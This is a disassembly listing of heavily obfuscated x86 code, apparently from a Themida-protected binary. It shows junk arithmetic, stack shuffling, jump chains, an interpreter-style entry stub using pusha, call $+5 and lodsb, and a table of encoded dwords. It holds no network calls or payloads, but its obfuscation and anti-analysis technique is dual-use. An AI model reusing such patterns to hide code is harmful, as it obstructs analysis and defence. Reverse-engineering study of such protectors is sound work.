loc_59B7FD:				; CODE XREF: sub_58A891+9877j
		pop	eax
		mov	edx, [esp+3Ah+var_3C+2]
		jmp	loc_595992
; ---------------------------------------------------------------------------


loc_59B806:				; DATA XREF: sub_58A891+3AD7o
		push	[esp+8+var_8]
		push	[esp+0Ch+var_C]
		pop	ecx
		push	ebp
		jmp	loc_59017E
; ---------------------------------------------------------------------------


loc_59B813:				; DATA XREF: sub_58A891+3A23o
		mov	ax, word ptr [esp+8+var_8]
		push	7F03h
		jmp	loc_591A3C
; ---------------------------------------------------------------------------


loc_59B821:				; CODE XREF: sub_58A891+D0EBj
		add	eax, 323C6037h
		add	eax, edi
		sub	eax, 323C6037h
		jmp	loc_59936C
; ---------------------------------------------------------------------------


loc_59B832:				; CODE XREF: sub_58A891+8211j
		mov	edx, [esp+14h+var_14]
		add	esp, 4
		push	7855h
		mov	[esp+14h+var_14], ebp
		push	esi
		push	449C554Fh
		mov	esi, [esp+1Ch+var_1C]
		jmp	loc_598524
; ---------------------------------------------------------------------------


loc_59B84E:				; CODE XREF: sub_58A891+4B1Fj
					; sub_58A891+D931j
		mov	ebx, eax
		pop	eax
		mov	ebp, ebx
		pop	ebx
		push	[esp+30h+var_30]
		pop	edi
		add	esp, 4
		sub	[esp+2Ch+var_28], ebp
		pop	ebp
		mov	eax, [esp+28h+var_28]
		jmp	loc_5990E4
; ---------------------------------------------------------------------------


loc_59B868:				; CODE XREF: sub_58A891+710Bj
		pop	esp
		jmp	loc_592418
; ---------------------------------------------------------------------------


loc_59B86E:				; CODE XREF: sub_58A891+F0B4j
		mov	eax, esp
		push	60FBh
		mov	[esp-0Ch+arg_4], ebp
		push	ebx
		mov	ebx, 646C0816h
		or	ebx, 4CDB2133h
		jg	loc_594A7C
		sub	ebx, 6CFF2933h
		mov	ebp, ebx
		mov	dl, 0EEh


loc_59B895:				; CODE XREF: sub_58A891+F6CCj
		add	[esp-8+arg_0], 57E93009h
		pop	edi
		sub	edi, 57E93009h
		pop	edx
		add	ebp, edi
		mov	edi, [esp+0]
		jmp	loc_595ED0
; ---------------------------------------------------------------------------


loc_59B8AE:				; CODE XREF: sub_58A891+10ECFj
		add	bl, 8Fh
		add	bl, 0DCh
		push	ecx
		push	edx
		mov	dl, 43h
		jmp	loc_594103
; ---------------------------------------------------------------------------


loc_59B8BD:				; CODE XREF: sub_58A891+9393j
					; sub_58A891+105AAj
		sub	edi, 0B84515AAh
		mov	ebx, edi
		jmp	loc_59316E
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+0Ch+var_C]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ecx
		mov	ecx, 2
		push	esi
		jmp	loc_59A9B3
; ---------------------------------------------------------------------------


loc_59B8E2:				; CODE XREF: sub_58A891+803Cj
		xor	edx, eax
		pop	eax
		sub	edx, 60149C5Eh
		sub	ecx, edx
		pop	edx
		add	ecx, 68825C5Fh
		xor	edi, ecx
		push	[esp+10h+var_10]
		pop	ecx
		add	esp, 4
		jmp	loc_59B297
; ---------------------------------------------------------------------------


loc_59B905:				; CODE XREF: sub_58A891+91ABj
		mov	[esp+50h+var_50], ebp
		mov	ebp, 52E8122Bh
		and	ebp, 388330E5h
		push	edi
		push	edx
		mov	edx, 7C6C21A6h
		and	edx, 36B72218h
		not	edx
		shr	edx, 3
		sub	edx, 242942DEh
		inc	edx
		add	edx, 0CD8FA411h
		jmp	loc_59695D
; ---------------------------------------------------------------------------


loc_59B937:				; CODE XREF: sub_58A891+7E5Fj
		mov	[esp+10h+var_10], ecx
		push	esi
		mov	esi, 35C56A78h
		xor	esi, 67440076h
		jz	loc_59AE35
		or	esi, 47A10BFBh
		jle	loc_58E8C5
		shl	esi, 4
		add	esi, 0F79CA4EDh
		mov	ecx, esi
		pop	esi
		dec	ecx
		dec	ecx
		add	ecx, 7DFD408Dh
		and	ecx, 0A742F3Bh
		jmp	loc_59A718
; ---------------------------------------------------------------------------


loc_59B977:				; CODE XREF: sub_58A891+5D6Fj
		mov	esp, [esp+30h+var_30]
		jmp	loc_58E9B1
; ---------------------------------------------------------------------------


loc_59B97F:				; CODE XREF: sub_58A891+A92Aj
					; sub_58A891+CC9Dj
		mov	ebp, 74B463ADh
		shr	ebp, 5
		shl	ebp, 4
		jmp	loc_5920C3
; ---------------------------------------------------------------------------


loc_59B98F:				; CODE XREF: sub_58A891+FC9Dj
					; sub_58A891+10DA4j
		mov	[esp+44h+var_44], eax
		mov	al, 1
		xor	al, 3Eh
		sub	bl, al
		pop	eax
		push	dx
		jmp	loc_596E8E
; ---------------------------------------------------------------------------


loc_59B9A0:				; CODE XREF: sub_58A891+1000Ej
		mov	edx, ebx
		pop	ebx
		sub	ecx, edx
		pop	edx
		jmp	loc_5901FB
; ---------------------------------------------------------------------------


loc_59B9AB:				; CODE XREF: sub_58A891+BBC9j
		mov	esp, [esp+48h+var_48]
		mov	[esp+48h+var_48], ebp
		push	[esp+48h+var_44]
		jmp	loc_58EB17
; ---------------------------------------------------------------------------


loc_59B9BA:				; CODE XREF: sub_58A891:loc_58F8F2j
		xor	ecx, 675E633Dh
		jmp	loc_5997CD
; ---------------------------------------------------------------------------


loc_59B9C5:				; CODE XREF: sub_58A891+DBFEj
		pop	eax
		push	4EBh
		mov	[esp+0Ch+var_C], edi
		push	esp
		jmp	loc_593564
; ---------------------------------------------------------------------------


loc_59B9D4:				; CODE XREF: sub_58A891+8192j
		push	esp
		pop	ecx
		sub	esp, 4
		jmp	loc_58E7A9
; ---------------------------------------------------------------------------


loc_59B9E1:				; CODE XREF: sub_58A891+A71Cj
		sub	ebx, 5E96011h
		add	ebx, edx
		add	ebx, 5E96011h
		mov	edx, [esp+4+var_4]
		add	esp, 4
		jmp	loc_59B7DD
; ---------------------------------------------------------------------------


loc_59B9FA:				; CODE XREF: sub_58A891+111E1j
		mov	esp, [esp+0]
		push	ebp
		jmp	loc_592DA4
; ---------------------------------------------------------------------------


loc_59BA03:				; CODE XREF: sub_58A891+BBDFj
		mov	[esp-0Ah+arg_0+2], eax
		sub	esp, 4
		mov	[esp+0], edx
		mov	dl, 6Ch
		push	edx
		jmp	loc_5931D1
; ---------------------------------------------------------------------------


loc_59BA17:				; CODE XREF: sub_58A891+6C1Aj
		pop	ecx
		push	edx
		push	ecx
		mov	ecx, 7ACE5ED3h
		jmp	loc_592C15
; ---------------------------------------------------------------------------


loc_59BA24:				; CODE XREF: sub_58A891+C85Dj
		mov	al, 0B1h
		sub	al, 97h
		neg	al
		jmp	loc_59365A
; ---------------------------------------------------------------------------


loc_59BA2F:				; CODE XREF: sub_58A891+95FDj
		shr	ecx, 2
		jnp	loc_597C1A
		push	edi
		mov	edi, 615A55BAh
		mov	bl, 16h
		push	edi


loc_59BA42:				; CODE XREF: sub_58A891+79F1j
		pop	edi
		sub	esp, 4
		mov	[esp+0], esi
		push	2D78706Fh
		push	[esp-0Ch+arg_4]
		mov	esi, [esp-8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp-8+arg_0]
		xor	[esp-8+arg_0], ecx
		xor	ecx, [esp-8+arg_0]
		jmp	loc_59B9FA
; ---------------------------------------------------------------------------


loc_59BA77:				; CODE XREF: sub_58A891+5306j
		jz	loc_590ACF
		and	eax, 6AD3323Dh
		sub	eax, 0B3E70C06h
		jmp	loc_5966FE
; ---------------------------------------------------------------------------


loc_59BA8C:				; CODE XREF: sub_58A891+5B3Bj
		pop	esp
		push	ebx
		jmp	loc_59AFA7
; ---------------------------------------------------------------------------


loc_59BA93:				; CODE XREF: sub_58A891+A1BBj
		add	esp, 4
		jmp	loc_59B39E
; ---------------------------------------------------------------------------


loc_59BA9B:				; CODE XREF: sub_58A891+B8E1j
		xchg	eax, [esp+3Ch+var_3C]
		pop	esp
		mov	[esp+38h+var_38], ebp
		jmp	loc_5985CC
; ---------------------------------------------------------------------------


loc_59BAA7:				; CODE XREF: sub_58A891+71C3j
		sub	bl, ch
		mov	ecx, [esp+24h+var_24]
		add	esp, 4
		push	eax
		mov	al, bl
		push	ecx
		mov	cl, al
		mov	dh, cl
		pop	ecx
		pop	eax
		jmp	loc_59AA28
; ---------------------------------------------------------------------------


loc_59BABE:				; CODE XREF: sub_58A891+B959j
		pop	edi
		shl	edi, 4
		shl	edi, 7
		xor	edi, 59384F79h
		jmp	loc_58F9D1
; ---------------------------------------------------------------------------


loc_59BAD0:				; CODE XREF: sub_58A891+4DA3j
		sub	ebx, eax
		sub	ebx, 2E9F518Ah
		jmp	loc_59739A
; ---------------------------------------------------------------------------


loc_59BADD:				; CODE XREF: sub_58A891+109F6j
		add	al, dl
		pop	dx
		push	small 1E65h
		jmp	loc_590A61
; ---------------------------------------------------------------------------


loc_59BAEA:				; CODE XREF: sub_58A891+6A45j
		push	eax
		mov	al, bl
		mov	cl, al
		pop	eax
		jmp	loc_599C63
; ---------------------------------------------------------------------------


loc_59BAF5:				; CODE XREF: sub_58A891+9A88j
		inc	edx
		jz	loc_5931AA
		dec	edx
		jmp	loc_595742
; ---------------------------------------------------------------------------


loc_59BB02:				; CODE XREF: sub_58A891+4B09j
		mov	esp, [esp+30h+var_30]
		sub	eax, 23723092h
		push	small word ptr [eax]
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59BB12:				; CODE XREF: sub_58A891+4430j
		pop	eax
		push	[esp-8+arg_0]
		jmp	loc_590185
; ---------------------------------------------------------------------------


loc_59BB1B:				; CODE XREF: sub_58A891+8CA8j
		pop	ecx
		sub	ecx, edx
		pop	edx
		inc	ecx
		add	ecx, 4B3C4D04h
		xor	ecx, 0CF7B392Ah
		jmp	loc_591965
; ---------------------------------------------------------------------------


loc_59BB31:				; CODE XREF: sub_58A891+4E07j
		jmp	loc_596785
; ---------------------------------------------------------------------------


loc_59BB36:				; CODE XREF: sub_58A891:loc_59523Dj
		add	dh, 0D3h
		jmp	loc_59387C
; ---------------------------------------------------------------------------


loc_59BB3E:				; DATA XREF: sub_58A891+3A4Bo
		push	[esp+8+var_8]
		pop	eax
		push	30D9h
		mov	[esp+0Ch+var_C], edx
		mov	edx, esp
		push	1D18h
		mov	[esp+10h+var_10], eax
		jmp	loc_598FA4
; ---------------------------------------------------------------------------


loc_59BB59:				; CODE XREF: sub_58A891+56A1j
		push	ecx
		mov	ecx, 3D1307A1h
		add	esi, ecx
		jmp	loc_59B10C
; ---------------------------------------------------------------------------


loc_59BB66:				; CODE XREF: sub_58A891+A132j
		push	esp
		pop	edi
		jmp	loc_599590
; ---------------------------------------------------------------------------


loc_59BB6D:				; CODE XREF: sub_58A891+AF8Aj
		add	esp, 4
		inc	ebx
		and	ebx, 39D61FF3h
		inc	ebx
		jnp	loc_59ADCC
		xor	ebx, 10840EC7h
		push	edx
		push	ebx
		xor	[esp+20h+var_20], 2B8225F7h
		pop	edx
		xor	edx, 2B8225F7h
		mov	ebp, edx
		pop	edx
		pop	ebx
		add	edi, ebp
		mov	ebp, [esp+14h+var_14]
		add	esp, 4
		xchg	edi, [esp+10h+var_10]
		jmp	loc_5951A7
; ---------------------------------------------------------------------------


loc_59BBAB:				; CODE XREF: sub_58A891+7B7Bj
		add	ebp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp+30h+var_30]
		mov	esp, [esp+30h+var_30]
		shr	ecx, 0
		or	eax, eax
		jz	loc_5929FD
		push	14FFh
		mov	[esp+34h+var_34], ebx
		xor	[esp+34h+var_34], 7C676A8Eh
		jmp	loc_5904C1
; ---------------------------------------------------------------------------


loc_59BBDF:				; CODE XREF: sub_58A891+6779j
		sub	esp, 4
		mov	[esp+10h+var_10], esp
		push	ebp
		mov	ebp, 4
		add	[esp+14h+var_10], ebp
		pop	ebp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0Ch+var_C]
		pop	esp
		push	edi
		mov	edi, 337F1943h
		add	edi, 1
		not	edi
		sub	edi, 58546337h
		xor	edi, 5C8B2834h
		push	ecx
		mov	ecx, 3A032B33h
		jmp	loc_590A4A
; ---------------------------------------------------------------------------


loc_59BC23:				; CODE XREF: sub_58A891+AB2Ej
		pop	esp
		mov	[esp+18h+var_18], ebx
		jmp	loc_599070
; ---------------------------------------------------------------------------


loc_59BC2C:				; DATA XREF: sub_58A891+39A7o
		push	ecx
		jmp	loc_59899F
; ---------------------------------------------------------------------------


loc_59BC32:				; CODE XREF: sub_58A891+684Cj
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_58FF71
; ---------------------------------------------------------------------------


loc_59BC3F:				; CODE XREF: sub_58A891+8B81j
					; sub_58A891+1054Aj
		mov	[esp+16h+var_18+2], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_593559
; ---------------------------------------------------------------------------
		db 3Eh
		dd 4CF88766h, 8D0012FFh, 8D00008Dh, 4517A08Dh, 94005F8Ah
		dd 497C90EBh, 13005F7Eh, 2000002h, 2 dup(1000000h), 3E000000h
		dd 0F88766h, 4 dup(0)
		dd 4F000000h, 33005A13h, 2D005A41h, 1A005AC1h, 8B005AE9h
		dd 0E5005A74h, 0D8005A29h, 1C005A6Eh, 2F0059F4h, 760059DCh
		dd 13005A5Dh, 1B005A54h, 1D005AE0h, 84005B25h, 1E0059F5h
		dd 5005A70h, 9D005A8Eh,	0EE005A78h, 0F9005A0Dh,	5C005B08h
		dd 8C005B2Bh, 23005A5Ch, 0BD0059ECh, 0A9005A8Eh, 0B3005B23h
		dd 0F2005A5Ah, 0A1005AA3h, 1A005A9Fh, 0A4005A9Eh, 8D005A1Ah
		dd 75005A7Eh, 0A7005A61h, 4C005ACBh, 90005ABDh,	0EA0059FFh
		dd 72005A36h, 84005A36h, 0C4005A86h, 0F1005A7Dh, 0D8005AE0h
		dd 8D005ABEh, 0A7005AE6h, 5F005AE5h, 23005A22h,	5D005A03h
		dd 15005A1Dh, 0D6005A9Ah, 0AE005A3Eh, 7005AD0h,	0DA005B09h
		dd 0FA005A36h, 0C005A58h, 0A6005A6Bh, 0B80059CDh, 0CC0059DDh
		dd 98005AE6h, 61005A9Dh, 0C0005A3Ah, 60005AD9h,	80005A15h
		dd 14005B10h, 25005AC0h, 0F20059CBh, 9E005AF5h,	3E0059DDh
		dd 44005AF3h, 0C6005B24h, 0A5005B21h, 4D005AD2h, 0B10059DFh
		dd 13005B22h, 39005A56h, 8B005ACEh, 0E00059F1h,	0B8005A0Eh
		dd 61005AB4h, 0D1005A74h, 2B0059C6h, 75005A2Eh,	3C005AACh
		dd 0AB005A84h, 68005AB7h, 83005A51h, 0A9005A26h, 0D6005AACh
		dd 590059FEh, 66005AEAh, 18005B23h, 0A0005AF6h,	11005A87h
		dd 0BE005A6Fh, 51005AC0h, 48005A2Dh, 17005B28h,	0DE005AA7h
		dd 0AC005A78h, 83005AD8h, 0B7005A1Bh, 0AC005B2Eh, 81005AA9h
		dd 0E0005A6Fh, 0D3005AF8h, 260059EFh, 1D005ADCh, 0E6005AEDh
		dd 0D90059CDh, 0D1005B27h, 840059C5h, 0D5005A9Ch, 7A005AB8h
		dd 0EC005AC0h, 0A90059D2h, 770059E8h, 6A005A1Ch, 44005AA5h
		dd 7005AD0h, 0F005AB0h,	28005A2Fh, 99005B1Fh, 0DE005B0Ah
		dd 0EA005AB9h, 510059EBh, 38005A6Eh, 87005A30h,	0E9005B07h
		dd 8F005B0Ch, 610059F3h, 12005A4Bh, 6B0059F9h, 0A0005A3Eh
		dd 8005A7Bh, 0DF005A68h, 0A7005A2Bh, 34005B10h,	0CD0059FFh
		dd 0E3005A5Dh, 0D0005A5Fh, 7C005A3Eh, 0EA005A77h, 0F3005B29h
		dd 7E005AFAh, 1E005A7Fh, 4E005A0Dh, 7F005A8Dh, 26005A14h
		dd 66005AE3h, 0AB005A21h, 0AF005A7Fh, 0D60059E7h, 0B5005A86h
		dd 5D005A84h, 45005B17h, 0ED005B27h, 0B70059D6h, 130059D2h
		dd 0D5005A45h, 3A005A4Ch, 60005A49h, 0E1005A41h, 8D005A0Fh
		dd 0E6005AF7h, 6F005A49h, 0BE005A3Ch, 0B2005A1Dh, 93005A70h
		dd 8E005A9Bh, 18005A0Fh
		db 0F5h, 5Ah, 0
; ---------------------------------------------------------------------------


loc_59BF2F:				; CODE XREF: Themida_:005ED9FAj
					; Themida_:005EDA04j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 7D258F9h
		mov	eax, edi
		add	edi, 7D25611h
		cmp	eax, [edi+2Ch]
		jnz	short loc_59BF4D
		jmp	short loc_59BF60
; ---------------------------------------------------------------------------


loc_59BF4D:				; CODE XREF: sub_58A891+116B8j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_59BF5C
; ---------------------------------------------------------------------------


loc_59BF57:				; CODE XREF: sub_58A891+116CDj
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_59BF5C:				; CODE XREF: sub_58A891+116C4j
		or	ecx, ecx
		jnz	short loc_59BF57


loc_59BF60:				; CODE XREF: sub_58A891+116BAj
		mov	esi, [esp+3Ah+var_18+2]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_59BF6D:				; CODE XREF: sub_58A891+116E3j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_59BF6D


loc_59BF76:				; CODE XREF: sub_58A891+119FDj
					; sub_58A891+11C9Fj ...
		lodsb
		push	6834h
		jmp	loc_5AA2B2
; ---------------------------------------------------------------------------


loc_59BF81:				; CODE XREF: sub_58A891+133CCj
		inc	esi
		jmp	loc_5A7D96
; ---------------------------------------------------------------------------


loc_59BF87:				; CODE XREF: sub_58A891+21E99j
		neg	edi
		add	edi, 0E391EB94h
		xor	eax, edi
		push	[esp+3Eh+var_40+2]
		pop	edi
		add	esp, 4
		shl	eax, 8
		shl	eax, 5
		jmp	loc_5AE5F5
; ---------------------------------------------------------------------------


loc_59BFA3:				; CODE XREF: sub_58A891+22537j
		sub	edi, ebp
		mov	ebp, [esp+3Ah+var_3C+2]
		add	esp, 4
		jmp	loc_5B10DF
; ---------------------------------------------------------------------------


loc_59BFB3:				; CODE XREF: sub_58A891+16010j
		add	ebp, ecx
		pop	ecx
		sub	ebp, 2
		jmp	loc_5AEE61
; ---------------------------------------------------------------------------


loc_59BFBE:				; CODE XREF: sub_58A891+19B99j
		mov	esi, [esp+32h+var_34+2]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xor	edx, [esp+36h+var_38+2]
		xor	[esp+36h+var_38+2], edx
		xor	edx, [esp+36h+var_38+2]
		jmp	loc_5A5839
; ---------------------------------------------------------------------------


loc_59BFDB:				; CODE XREF: sub_58A891:loc_5A90C3j
		jmp	loc_5A3D6C
; ---------------------------------------------------------------------------


loc_59BFE0:				; CODE XREF: sub_58A891+252EAj
		pop	eax
		add	eax, 79BC2730h
		xor	eax, 36917463h
		xor	eax, 6BBBBDACh
		add	ebx, 682F5BD3h
		add	ebx, eax
		sub	ebx, 682F5BD3h
		jmp	loc_5AEC5A
; ---------------------------------------------------------------------------


loc_59C003:				; CODE XREF: sub_58A891+20D9Fj
		xor	ecx, 47802327h
		sub	edi, ecx
		pop	ecx
		add	edi, 8457Dh
		jmp	loc_5B0BBF
; ---------------------------------------------------------------------------


loc_59C017:				; CODE XREF: sub_58A891+17CB8j
		add	eax, 64E77F8Ah
		push	edx
		mov	edx, 0B0AC675Fh
		jmp	loc_5B07EE
; ---------------------------------------------------------------------------


loc_59C027:				; CODE XREF: sub_58A891+27A30j
		sub	esp, 4
		mov	[esp+36h+var_38+2], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+36h+var_38+2]
		pop	esp
		push	edi
		push	esi
		push	ebp
		mov	ebp, 1C0C2793h
		mov	esi, ebp
		jmp	loc_59DC48
; ---------------------------------------------------------------------------


loc_59C04A:				; CODE XREF: sub_58A891+18F5Ej
		dec	edx
		jmp	loc_5AA7FC
; ---------------------------------------------------------------------------


loc_59C050:				; CODE XREF: sub_58A891+12731j
		add	esp, 4
		add	ebp, edx
		mov	edx, [esp+3Ah+var_3C+2]
		add	esp, 4
		add	ebp, 4
		push	ebp
		push	[esp+3Ah+var_38+2]
		pop	ebp
		jmp	loc_5A3439
; ---------------------------------------------------------------------------


loc_59C06F:				; CODE XREF: sub_58A891+1765Dj
		add	ebp, 8324B25Dh
		add	edi, ebp
		pop	ebp
		jmp	loc_59E320
; ---------------------------------------------------------------------------


loc_59C07D:				; CODE XREF: sub_58A891+1AEEBj
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp+36h+var_38+2]
		jmp	loc_5A9AC0
; ---------------------------------------------------------------------------


loc_59C090:				; CODE XREF: sub_58A891+1DEC8j
		mov	eax, [esp+36h+var_38+2]
		add	esp, 4
		inc	eax
		shl	eax, 8
		jns	loc_5A32C2
		push	esi
		mov	esi, 3B97142Ah
		jmp	loc_5B1C38
; ---------------------------------------------------------------------------
		and	eax, ebx


loc_59C0B0:				; CODE XREF: sub_58A891+2030Fj
		pop	ebp
		add	[esp+32h+var_2C+2], ebp
		pop	ebp
		pop	ebx
		push	[esp+2Ah+var_2C+2]
		mov	eax, [esp+2Eh+var_30+2]
		add	esp, 4
		push	edi
		jmp	loc_5A141F
; ---------------------------------------------------------------------------


loc_59C0C9:				; CODE XREF: sub_58A891+19368j
		mov	[esp+2Eh+var_30+2], ebp
		not	[esp+2Eh+var_30+2]
		mov	ebp, [esp+2Eh+var_30+2]
		add	esp, 4
		xor	ebp, 24969D72h
		sub	ebx, ebp
		jmp	loc_5AF355
; ---------------------------------------------------------------------------


loc_59C0E2:				; CODE XREF: sub_58A891+1349Ej
		pop	edi
		jmp	loc_5A2E15
; ---------------------------------------------------------------------------


loc_59C0E8:				; CODE XREF: sub_58A891+14A92j
		jns	loc_5B0965
		shl	ebp, 6
		jmp	loc_5A684F
; ---------------------------------------------------------------------------
		xchg	ebx, [esp+26h+var_28+2]
		pop	esp


loc_59C0FA:				; CODE XREF: sub_58A891+24A6Fj
		mov	ebp, 4
		add	esi, ebp
		push	[esp+22h+var_24+2]
		pop	ebp
		add	esp, 4
		push	ebx
		jmp	loc_5AB018
; ---------------------------------------------------------------------------


loc_59C111:				; CODE XREF: sub_58A891+1C6F8j
		push	eax
		mov	eax, 44BA36D9h
		shr	eax, 8
		js	loc_5AE85B
		sub	eax, 0F9DAB93Dh
		jmp	loc_59DE95
; ---------------------------------------------------------------------------


loc_59C12A:				; CODE XREF: sub_58A891+139F4j
		mov	eax, 1C467379h
		mov	edi, 8EEF8DD1h
		sub	edi, eax
		pop	eax
		jmp	loc_5A9925
; ---------------------------------------------------------------------------


loc_59C13C:				; CODE XREF: sub_58A891+16D31j
		xor	eax, ecx
		push	eax
		jmp	loc_5A385E
; ---------------------------------------------------------------------------


loc_59C144:				; CODE XREF: sub_58A891+11F19j
		mov	[esp+26h+var_28+2], ecx
		push	eax
		mov	ah, dh
		mov	cl, ah
		pop	eax
		mov	bh, cl
		pop	ecx
		jmp	loc_5A0E32
; ---------------------------------------------------------------------------


loc_59C155:				; CODE XREF: sub_58A891+265E6j
		add	esp, 4
		xor	bl, al
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+22h+var_24+2]
		pop	esp
		jmp	loc_5A82C5
; ---------------------------------------------------------------------------


loc_59C172:				; CODE XREF: sub_58A891+188D5j
		push	[esp+1Eh+var_20+2]
		pop	edx
		jmp	loc_59DDDF
; ---------------------------------------------------------------------------


loc_59C17B:				; CODE XREF: sub_58A891+25BF4j
		add	ebp, 4
		xchg	ebp, [esp+1Eh+var_20+2]
		pop	esp
		pop	esi
		add	ebx, eax
		push	ebp
		jmp	loc_5AA4FC
; ---------------------------------------------------------------------------


loc_59C18B:				; CODE XREF: sub_58A891+12BC4j
		add	eax, 2
		sub	esp, 4
		jmp	loc_59D5B3
; ---------------------------------------------------------------------------


loc_59C196:				; CODE XREF: sub_58A891+1C311j
		add	eax, 45332FD6h
		sub	eax, 2E6B67E6h
		add	eax, 9360317h
		sub	eax, ebx
		jmp	loc_5B27F9
; ---------------------------------------------------------------------------


loc_59C1AC:				; CODE XREF: sub_58A891+210D5j
					; sub_58A891+24A55j
		jns	loc_5B03E5
		dec	eax
		jmp	loc_5A4C3F
; ---------------------------------------------------------------------------


loc_59C1B8:				; CODE XREF: sub_58A891+153C3j
		add	esp, 4
		jmp	loc_5AB3C2
; ---------------------------------------------------------------------------


loc_59C1C3:				; CODE XREF: sub_58A891+176F0j
		sub	ebx, 2F456CC8h
		jmp	loc_5A1D87
; ---------------------------------------------------------------------------


loc_59C1CE:				; CODE XREF: sub_58A891+1A013j
		jmp	loc_5ABFFF
; ---------------------------------------------------------------------------


loc_59C1D3:				; CODE XREF: sub_58A891+218A5j
		shl	eax, 2
		jmp	loc_5A32F8
; ---------------------------------------------------------------------------


loc_59C1DB:				; CODE XREF: sub_58A891+224CEj
		xchg	eax, [esp+1Ah+var_1C+2]
		mov	esp, [esp+1Ah+var_1C+2]
		shr	ecx, 0Bh
		push	ebx
		jmp	loc_5A3955
; ---------------------------------------------------------------------------


loc_59C1EA:				; CODE XREF: sub_58A891+1AC43j
		pop	ebp
		jmp	loc_5AD377
; ---------------------------------------------------------------------------


loc_59C1F0:				; CODE XREF: sub_58A891+1A939j
		push	eax
		mov	eax, 1D0F43D5h
		or	eax, 3E317EFBh
		dec	eax
		push	53E7h
		mov	[esp+22h+var_24+2], ecx
		mov	ecx, 26E624BFh
		and	eax, ecx
		pop	ecx
		xor	eax, 262624BAh
		add	ebp, 6AAF5A82h
		add	ebp, eax
		jmp	loc_5A01A0
; ---------------------------------------------------------------------------


loc_59C21E:				; CODE XREF: sub_58A891+23FF0j
		mov	eax, 7621225Bh
		add	ecx, 0BEE2F7Dh
		add	ecx, eax
		sub	ecx, 0BEE2F7Dh
		pop	eax
		jmp	loc_59E040
; ---------------------------------------------------------------------------


loc_59C237:				; CODE XREF: sub_58A891+1CB07j
		neg	ecx
		jnb	loc_5B1C27
		shl	ecx, 8
		shl	ecx, 3
		or	ecx, 42BF74FBh
		jnb	loc_5AB311
		sub	ecx, 0BE071FD4h
		push	ecx
		pop	edx
		mov	esi, edi
		and	al, 42h


loc_59C25D:				; CODE XREF: sub_58A891+21D63j
		mov	ebp, [esp+1Ah+var_1C+2]
		add	esp, 4
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		jmp	loc_59D27A
; ---------------------------------------------------------------------------


loc_59C273:				; CODE XREF: sub_58A891+1C0F8j
		pop	edx
		pop	[esp+16h+var_18+2]
		jmp	loc_59DA65
; ---------------------------------------------------------------------------


loc_59C27C:				; CODE XREF: sub_58A891+1223Bj
					; sub_58A891+20782j
		mov	esi, [esp+12h+var_14+2]
		add	esp, 4
		pop	[esp+0Eh+var_10+2]
		mov	esp, [esp+0Ah+var_C+2]
		test	cl, al
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59C293:				; CODE XREF: sub_58A891+1EB45j
		sub	eax, ebx
		pop	ebx
		add	eax, 19137A18h
		add	eax, ebp
		sub	eax, 19137A18h
		push	ebx
		mov	ebx, 7060482h
		jmp	loc_5A5B44
; ---------------------------------------------------------------------------


loc_59C2AD:				; CODE XREF: sub_58A891+136ECj
					; sub_58A891+2075Cj
		mov	edi, 4
		add	ebp, 77A67F5Eh
		jmp	loc_5A0832
; ---------------------------------------------------------------------------


loc_59C2BD:				; CODE XREF: sub_58A891+27CF6j
		add	eax, 4
		xchg	eax, [esp+0Eh+var_10+2]
		pop	esp
		push	[esp+0Ah+var_C+2]
		pop	edx
		jmp	loc_5A8AE1
; ---------------------------------------------------------------------------


loc_59C2CF:				; CODE XREF: sub_58A891+1B252j
		push	ebp
		mov	ebp, 6458218Eh
		jmp	loc_5B176E
; ---------------------------------------------------------------------------


loc_59C2DA:				; CODE XREF: sub_58A891+2069Bj
		pop	ebx
		not	ebp
		jmp	loc_5A6460
; ---------------------------------------------------------------------------


loc_59C2E2:				; CODE XREF: sub_58A891+2400Aj
		xor	ebp, 193275FEh
		add	ebp, 4CD05164h
		neg	ebp
		add	ebp, 322E1630h
		inc	ebp
		add	ebp, 9709EE27h
		sub	edi, ebp
		pop	ebp
		jmp	loc_5A3058
; ---------------------------------------------------------------------------


loc_59C305:				; CODE XREF: sub_58A891+1E8AEj
		add	ebx, 56896D91h
		jmp	loc_5AE0A0
; ---------------------------------------------------------------------------


loc_59C310:				; CODE XREF: sub_58A891+18E79j
		pop	edi
		add	edx, edi
		push	esi
		mov	esi, 6AC80AECh
		push	edx
		push	3FA607AAh
		pop	edx
		push	edi
		mov	edi, 6B8D2F7Bh
		add	edx, edi
		pop	edi
		dec	edx
		dec	edx
		sub	edx, 641C322Dh
		and	edx, 61E06AB1h
		sub	edx, 0FA3E9EF3h
		jmp	loc_5A30B5
; ---------------------------------------------------------------------------


loc_59C342:				; CODE XREF: sub_58A891+1E9BDj
		pop	[esp+0Ah+var_C+2]
		pop	esp
		mov	[esp+2+var_4+2], esi
		mov	esi, esp
		push	eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		push	edi
		push	2
		jmp	loc_5AF4A7
; ---------------------------------------------------------------------------


loc_59C35F:				; CODE XREF: sub_58A891+1B0B1j
		pop	esp
		xchg	esi, [esp+6+var_8+2]
		mov	esp, [esp+6+var_8+2]
		mov	word ptr [esp+6+var_8+2], cx
		movzx	cx, al
		jmp	loc_5A0B04
; ---------------------------------------------------------------------------


loc_59C373:				; CODE XREF: sub_58A891+15897j
		add	esp, 4
		jmp	loc_5ACF00
; ---------------------------------------------------------------------------


